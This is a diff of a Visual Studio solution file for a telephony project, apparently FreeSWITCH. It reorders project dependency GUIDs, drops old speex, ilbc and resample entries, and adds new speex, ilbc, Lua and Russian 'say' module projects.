 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Loggers", "Loggers", "{A7AB4405-FDB7-4853-9FBB-1516B1C3D80A}"
@@ -150,46 +151,44 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_xml_rpc", "src\mod\xml_int\mod_xml_rpc\mod_xml_rpc.vcproj", "{CBEC7225-0C21-4DA8-978E-1F158F8AD950}"
 	ProjectSection(ProjectDependencies) = postProject
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9} = {D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}
+		{0D108721-EAE8-4BAF-8102-D8960EC93647} = {0D108721-EAE8-4BAF-8102-D8960EC93647}
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA} = {CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{B535402E-38D2-4D54-8360-423ACBD17192} = {B535402E-38D2-4D54-8360-423ACBD17192}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
-		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA} = {CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}
-		{0D108721-EAE8-4BAF-8102-D8960EC93647} = {0D108721-EAE8-4BAF-8102-D8960EC93647}
-		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9} = {D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_rss", "src\mod\applications\mod_rss\mod_rss.vcproj", "{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_conference", "src\mod\applications\mod_conference\mod_conference.vcproj", "{C24FB505-05D7-4319-8485-7540B44C8603}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_dptools", "src\mod\applications\mod_dptools\mod_dptools.vcproj", "{B5881A85-FE70-4F64-8607-2CAAE52669C6}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_event_socket", "src\mod\event_handlers\mod_event_socket\mod_event_socket.vcproj", "{05515420-16DE-4E63-BE73-85BE85BA5142}"
 	ProjectSection(ProjectDependencies) = postProject
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 	EndProjectSection
 EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "_Libraries", "_Libraries", "{EB910B0D-F27D-4B62-B67B-DE834C99AC5B}"
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libilbc", "libs\codec\ilbc\libilbc.vcproj", "{989BB874-7AF1-44CB-8E5C-CC8113D267E8}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libdingaling", "libs\libdingaling\libdingaling.vcproj", "{1906D736-08BD-4EE1-924F-B536249B9A54}"
 	ProjectSection(ProjectDependencies) = postProject
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3} = {E727E8F6-935D-46FE-8B0E-37834748A0E3}
-		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libsrtp", "libs\srtp\libsrtp.vcproj", "{EEF031CB-FED8-451E-A471-91EC8D4F6750}"
@@ -203,8 +202,6 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libpcre Generate pcre_chartables.c", "libs\win32\pcre\pcre_chartables.c.vcproj", "{1CED5987-A529-46DC-B30F-870D85FF9C94}"
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libresample", "libs\win32\libresample\libresample.vcproj", "{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libapr", "libs\win32\apr\libapr.vcproj", "{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libaprutil", "libs\win32\apr-util\libaprutil.vcproj", "{F057DA7F-79E5-4B00-845C-EF446EF055E3}"
@@ -214,8 +211,6 @@
 EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "_Downloads", "_Downloads", "{C120A020-773F-4EA3-923F-B67AF28B750D}"
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libs\win32\speex\libspeex.vcproj", "{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "iksemel", "libs\win32\iksemel\iksemel.vcproj", "{E727E8F6-935D-46FE-8B0E-37834748A0E3}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download HOWL", "libs\win32\Download HOWL.vcproj", "{5927104D-C14C-4AC8-925C-4AB681762E75}"
@@ -227,8 +222,8 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mDNSResponder static library", "libs\win32\howl\libmDNSResponder.vcproj", "{49C34584-B6DA-448F-83CF-27584DC9FC90}"
 	ProjectSection(ProjectDependencies) = postProject
+		{5927104D-C14C-4AC8-925C-4AB681762E75} = {5927104D-C14C-4AC8-925C-4AB681762E75}
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE} = {0D826AF5-0506-4C50-BB8B-7DB019AC21AE}
-		{5927104D-C14C-4AC8-925C-4AB681762E75} = {5927104D-C14C-4AC8-925C-4AB681762E75}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libsndfile", "libs\win32\libsndfile\libsndfile.vcproj", "{3D0370CA-BED2-4657-A475-32375CBCB6E4}"
@@ -241,16 +236,16 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_sofia", "src\mod\endpoints\mod_sofia\mod_sofia.vcproj", "{0DF3ABD0-DDC0-4265-B778-07C66780979B}"
 	ProjectSection(ProjectDependencies) = postProject
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4} = {DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0} = {70A49BC2-7500-41D0-B75D-EDCC5BE987A0}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4} = {DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libsofia_sip_ua_static", "libs\win32\sofia\libsofia_sip_ua_static.vcproj", "{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}"
 	ProjectSection(ProjectDependencies) = postProject
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4} = {DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A} = {8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}
-		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4} = {DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download PTHREAD", "libs\win32\Download PTHREAD.vcproj", "{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}"
@@ -262,70 +257,70 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_g723_1", "src\mod\codecs\mod_g723_1\mod_g723_1.vcproj", "{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_native_file", "src\mod\formats\mod_native_file\mod_native_file.vcproj", "{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_spidermonkey_core_db", "src\mod\languages\mod_spidermonkey_core_db\mod_spidermonkey_core_db.vcproj", "{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}"
 	ProjectSection(ProjectDependencies) = postProject
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{204FA0DE-305D-4414-AE2E-F195A23F390D} = {204FA0DE-305D-4414-AE2E-F195A23F390D}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_spidermonkey_teletone", "src\mod\languages\mod_spidermonkey_teletone\mod_spidermonkey_teletone.vcproj", "{8F992C49-6C51-412F-B2A3-34EAB708EB65}"
 	ProjectSection(ProjectDependencies) = postProject
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{89385C74-5860-4174-9CAF-A39E7C48909C} = {89385C74-5860-4174-9CAF-A39E7C48909C}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{204FA0DE-305D-4414-AE2E-F195A23F390D} = {204FA0DE-305D-4414-AE2E-F195A23F390D}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{89385C74-5860-4174-9CAF-A39E7C48909C} = {89385C74-5860-4174-9CAF-A39E7C48909C}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libudns", "libs\win32\udns\libudns.vcproj", "{4043FC6A-9A30-4577-8AD5-9B233C9575D8}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_enum", "src\mod\applications\mod_enum\mod_enum.vcproj", "{71A967D5-0E99-4CEF-A587-98836EE6F2EF}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8} = {4043FC6A-9A30-4577-8AD5-9B233C9575D8}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_spidermonkey_odbc", "src\mod\languages\mod_spidermonkey_odbc\mod_spidermonkey_odbc.vcproj", "{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}"
 	ProjectSection(ProjectDependencies) = postProject
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{204FA0DE-305D-4414-AE2E-F195A23F390D} = {204FA0DE-305D-4414-AE2E-F195A23F390D}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_xml_curl", "src\mod\xml_int\mod_xml_curl\mod_xml_curl.vcproj", "{AB91A099-7690-4ECF-8994-E458F4EA1ED4}"
 	ProjectSection(ProjectDependencies) = postProject
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
 	EndProjectSection
 EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "say", "say", "{6CD61A1D-797C-470A-BE08-8C31B68BB336}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_say_en", "src\mod\say\mod_say_en\mod_say_en.vcproj", "{988CACF7-3FCB-4992-BE69-77872AE67DC8}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "portaudio", "libs\portaudio\build\msvc\portaudio.vcproj", "{0A18A071-125E-442F-AFF7-A3F68ABECF99}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_xml_cdr", "src\mod\xml_int\mod_xml_cdr\mod_xml_cdr.vcproj", "{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}"
 	ProjectSection(ProjectDependencies) = postProject
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_amr", "src\mod\codecs\mod_amr\mod_amr.vcproj", "{8DEB383C-4091-4F42-A56F-C9E46D552D79}"
@@ -396,9 +391,9 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_spidermonkey_socket", "src\mod\languages\mod_spidermonkey_socket\mod_spidermonkey_socket.vcproj", "{028C7278-05D7-4E18-82FE-BE231B844F41}"
 	ProjectSection(ProjectDependencies) = postProject
+		{204FA0DE-305D-4414-AE2E-F195A23F390D} = {204FA0DE-305D-4414-AE2E-F195A23F390D}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{204FA0DE-305D-4414-AE2E-F195A23F390D} = {204FA0DE-305D-4414-AE2E-F195A23F390D}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_voicemail", "src\mod\applications\mod_voicemail\mod_voicemail.vcproj", "{D7F1E3F2-A3F4-474C-8555-15122571AF52}"
@@ -763,24 +758,24 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_tone_stream", "src\mod\formats\mod_tone_stream\mod_tone_stream.vcproj", "{1A789A98-71EF-4EBD-8007-FC9ED585D32E}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{89385C74-5860-4174-9CAF-A39E7C48909C} = {89385C74-5860-4174-9CAF-A39E7C48909C}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libvoipcodecs", "libs\voipcodecs\libvoipcodecs.vcproj", "{CF70F278-3364-4395-A2E1-23501C9B8AD2}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_voipcodecs", "src\mod\codecs\mod_voipcodecs\mod_voipcodecs.vcproj", "{9EED03C8-8315-4214-8D13-8FF5FA46D93C}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2} = {CF70F278-3364-4395-A2E1-23501C9B8AD2}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_spidermonkey_curl", "src\mod\languages\mod_spidermonkey_curl\mod_spidermonkey_curl.vcproj", "{2CCED6DC-26FF-40F2-9585-E9E1049A4599}"
 	ProjectSection(ProjectDependencies) = postProject
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
 		{204FA0DE-305D-4414-AE2E-F195A23F390D} = {204FA0DE-305D-4414-AE2E-F195A23F390D}
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_fsv", "src\mod\applications\mod_fsv\mod_fsv.vcproj", "{4AE157CF-F2DD-4B5D-A1EE-4AC173B4F9AC}"
@@ -790,6 +785,7 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_lua", "src\mod\languages\mod_lua\mod_lua.vcproj", "{7B077E7F-1BE7-4291-AB86-55E527B25CAC}"
 	ProjectSection(ProjectDependencies) = postProject
+		{D0B36172-CD76-454A-9B89-990025266C2A} = {D0B36172-CD76-454A-9B89-990025266C2A}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
@@ -803,6 +799,19 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_opal", "src\mod\endpoints\mod_opal\mod_opal_2005.vcproj", "{426B1369-FDB7-4B18-A7EF-9C6A9097A130}"
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libs\speex\win32\VS2005\libspeex\libspeex.vcproj", "{E972C52F-9E85-4D65-B19C-031E511E9DB4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeexdsp", "libs\speex\win32\VS2005\libspeexdsp\libspeexdsp.vcproj", "{E42FDC95-7243-4219-9EA4-ACCE4AB97197}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libilbc", "libs\ilbc\libilbc.vcproj", "{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lua51", "src\mod\languages\mod_lua\lua\lua.2005.vcproj", "{D0B36172-CD76-454A-9B89-990025266C2A}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_say_ru", "src\mod\say\mod_say_ru\mod_say_ru.vcproj", "{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|Win32 = Debug|Win32
@@ -963,12 +972,6 @@
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|Win32.ActiveCfg = Release|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|Win32.Build.0 = Release|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|x64.ActiveCfg = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|Win32.ActiveCfg = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|Win32.Build.0 = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|x64.ActiveCfg = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|Win32.ActiveCfg = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|Win32.Build.0 = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|x64.ActiveCfg = Release|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|Win32.Build.0 = Debug|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|x64.ActiveCfg = Debug|Win32
@@ -999,12 +1002,6 @@
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.ActiveCfg = Release|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.Build.0 = Release|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|x64.ActiveCfg = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|Win32.ActiveCfg = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|Win32.Build.0 = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|x64.ActiveCfg = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|Win32.ActiveCfg = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|Win32.Build.0 = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|x64.ActiveCfg = Release|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|Win32.Build.0 = Debug|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|x64.ActiveCfg = Debug|Win32
@@ -1017,12 +1014,6 @@
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|Win32.ActiveCfg = Release|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|Win32.Build.0 = Release|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|x64.ActiveCfg = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|Win32.ActiveCfg = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|Win32.Build.0 = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|x64.ActiveCfg = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|Win32.ActiveCfg = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|Win32.Build.0 = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|x64.ActiveCfg = Release|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|Win32.ActiveCfg = Debug|Win32
